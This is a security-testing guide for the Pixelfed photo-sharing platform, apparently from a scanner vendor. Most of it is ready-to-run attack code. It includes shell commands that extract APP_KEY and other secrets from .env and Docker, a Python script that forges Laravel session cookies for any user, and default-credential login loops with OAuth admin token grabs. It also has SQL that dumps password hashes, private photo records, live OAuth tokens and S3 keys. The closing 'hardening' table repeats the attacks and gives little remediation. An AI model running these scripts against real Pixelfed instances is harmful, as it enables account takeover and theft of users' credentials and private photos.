Pixelfed Security Testing: Default Credentials, API Key, Database, and Photo Sharing

Pixelfed is a self-hosted federated photo sharing platform (Instagram alternative) built on Laravel — organizations and communities use it to host private photo sharing networks. Key assessment areas: APP_KEY in .env enables forging Laravel session cookies for any user account; admin@pixelfed.test/password is the documented default admin credential used in many deployments; PostgreSQL stores all user credentials, private photo metadata, and OAuth tokens; and the ActivityPub federation API exposes user data without authentication. This guide covers systematic Pixelfed security assessment.

Table of Contents

  1. APP_KEY Extraction and Laravel Session Cookie Forgery
  2. Default Credential Testing and Admin API Access
  3. PostgreSQL Database and Media Extraction
  4. Pixelfed Security Hardening

APP_KEY Extraction and Laravel Session Cookie Forgery

# Pixelfed — APP_KEY extraction and Laravel session cookie forgery
PF_URL="https://pixelfed.example.com"

# .env — Pixelfed environment configuration (all secrets)
cat /var/www/pixelfed/.env 2>/dev/null | grep -v "^#" | grep -v "^$"
# APP_KEY=base64:...    <-- Laravel app key (session cookie signing/encryption)
# DB_PASSWORD=...       <-- PostgreSQL password
# AWS_SECRET_ACCESS_KEY=...  <-- S3 media storage
# MAIL_PASSWORD=...     <-- SMTP password
# REDIS_PASSWORD=...    <-- Redis auth

# Docker environment
docker inspect pixelfed 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['APP_KEY','DB_','AWS_','MAIL_','REDIS_','SECRET']):
            print(e)
" 2>/dev/null

# Laravel APP_KEY — decrypt/forge session cookies
# Pixelfed uses Laravel's encrypted session cookie
# APP_KEY = base64:XXXXXXXXX (32-byte AES-256-CBC key)
APP_KEY=$(grep "^APP_KEY=" /var/www/pixelfed/.env 2>/dev/null | cut -d= -f2-)
echo "APP_KEY: $APP_KEY"

# With APP_KEY, forge a session cookie for any user:
python3 -c "
import base64, json, os, hmac, hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

# Extract raw key from base64: prefix
app_key_b64 = '${APP_KEY}'.replace('base64:', '')
key = base64.b64decode(app_key_b64)

# Craft Laravel session payload
# Target user_id=1 (first admin)
session_data = {'_token': 'csrf_token', 'login_web_xxx': 1}
payload = json.dumps(session_data).encode()

iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(payload, 16))
iv_b64 = base64.b64encode(iv).decode()
value_b64 = base64.b64encode(encrypted).decode()
mac = hmac.new(key, (iv_b64 + value_b64).encode(), hashlib.sha256).hexdigest()

cookie_payload = json.dumps({'iv': iv_b64, 'value': value_b64, 'mac': mac})
print('Forged cookie:', base64.b64encode(cookie_payload.encode()).decode())
" 2>/dev/null

Default Credential Testing and Admin API Access

# Pixelfed default credential testing and admin API
PF_URL="https://pixelfed.example.com"

# Common Pixelfed default credentials
# admin@pixelfed.test / password — documented in setup guides
# admin@example.com / password — common alternative
for CRED in "admin@pixelfed.test:password" "admin@example.com:password" "admin@localhost:password"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2-)
  RESULT=$(curl -s -X POST "${PF_URL}/login" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"${EMAIL}\",\"password\":\"${PASS}\"}" \
    -c /tmp/pf_jar -o /dev/null -w "%{http_code}" 2>/dev/null)
  echo "${EMAIL}: HTTP ${RESULT}"
  [ "$RESULT" = "200" ] || [ "$RESULT" = "302" ] && echo "  Possible success!"
done

# Admin API — user enumeration (requires admin OAuth token)
# First, get an OAuth token via the API
OAUTH_TOKEN=$(curl -s -X POST "${PF_URL}/oauth/token" \
  -H "Content-Type: application/json" \
  -d '{
    "grant_type": "password",
    "client_id": 1,
    "client_secret": "CLIENT_SECRET",
    "username": "admin@pixelfed.test",
    "password": "password",
    "scope": "admin:read admin:write"
  }' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('access_token',''))
" 2>/dev/null)
echo "OAuth token: $OAUTH_TOKEN"

# Admin accounts list
curl -s "${PF_URL}/api/v1/admin/accounts?limit=200" \
  -H "Authorization: Bearer ${OAUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total accounts: {len(d)}')
for u in d[:10]:
    print(f'  [{u.get(\"id\")}] @{u.get(\"username\")} role={u.get(\"role\")} email={u.get(\"email\")}')
" 2>/dev/null

PostgreSQL Database and Media Extraction

# Pixelfed PostgreSQL database extraction
PF_DB="pixelfed_prod"

psql -h localhost -U pixelfed -d "$PF_DB" 2>/dev/null << 'EOF'
-- All users with credentials
SELECT id,
       name,
       username,
       email,
       password,          -- bcrypt hash
       is_admin,
       last_active_at,
       created_at
FROM users
ORDER BY is_admin DESC, created_at
LIMIT 20;
EOF

-- Private media (photos marked private)
psql -h localhost -U pixelfed -d "$PF_DB" 2>/dev/null << 'EOF'
SELECT m.id,
       m.user_id,
       u.username,
       m.mime,
       m.caption,
       m.media_path,       -- file path or S3 key
       m.created_at
FROM media m
JOIN users u ON m.user_id = u.id
JOIN statuses s ON m.status_id = s.id
WHERE s.visibility = 'private'
   OR s.scope = 'private'
ORDER BY m.created_at DESC
LIMIT 20;
EOF

-- All OAuth tokens (persistent API access)
psql -h localhost -U pixelfed -d "$PF_DB" 2>/dev/null << 'EOF'
SELECT ot.id,
       ot.user_id,
       u.username,
       ot.name,
       ot.scopes,
       ot.expires_at,
       ot.revoked
FROM oauth_access_tokens ot
JOIN users u ON ot.user_id = u.id
WHERE ot.revoked = false
  AND (ot.expires_at IS NULL OR ot.expires_at > NOW())
ORDER BY ot.created_at DESC
LIMIT 10;
EOF

-- S3 media storage credentials
grep -E "AWS_|S3_|MEDIA_" /var/www/pixelfed/.env 2>/dev/null
# AWS_ACCESS_KEY_ID — S3 access key
# AWS_SECRET_ACCESS_KEY — S3 secret key
# AWS_DEFAULT_REGION — S3 region
# AWS_BUCKET — bucket name containing all photos

Pixelfed Security Hardening

Pixelfed Security Hardening Checklist:
Security TestMethodRisk
APP_KEY extraction and Laravel session cookie forgeryRead .env APP_KEY — AES-256-CBC key used to encrypt Laravel session cookies; forge session for any user ID including admins; full account takeover without passwordCritical
Default admin credential testing (admin@pixelfed.test/password)POST /login with documented default credentials — admin access to all user accounts, private photos, instance configuration, and federation settingsCritical
PostgreSQL users table bcrypt hash extractionSELECT password FROM users — all bcrypt password hashes and email addresses; OAuth token enumeration for persistent API accessHigh
Private photo S3 key extraction and media accessRead .env AWS_SECRET_ACCESS_KEY — full access to photo storage bucket; download all photos including private-post images; verify private post photos are not publicly accessible via S3 URLHigh
ActivityPub user enumeration (unauthenticated)GET /users/{username} — user existence checking; federation API exposes profile data to external servers; no authentication required for public profile endpointsMedium

Automate Pixelfed Security Testing

Ironimo tests Pixelfed deployments for .env APP_KEY extraction and Laravel session cookie forgery, admin@pixelfed.test/password default credential testing, PostgreSQL users table bcrypt hash and email extraction, OAuth access token enumeration, S3 AWS_SECRET_ACCESS_KEY media bucket access, private photo URL accessibility testing, MAIL_PASSWORD SMTP credential exposure, ActivityPub user enumeration without authentication, admin API account enumeration, and Docker environment variable APP_KEY and DB_PASSWORD disclosure.

Start free scan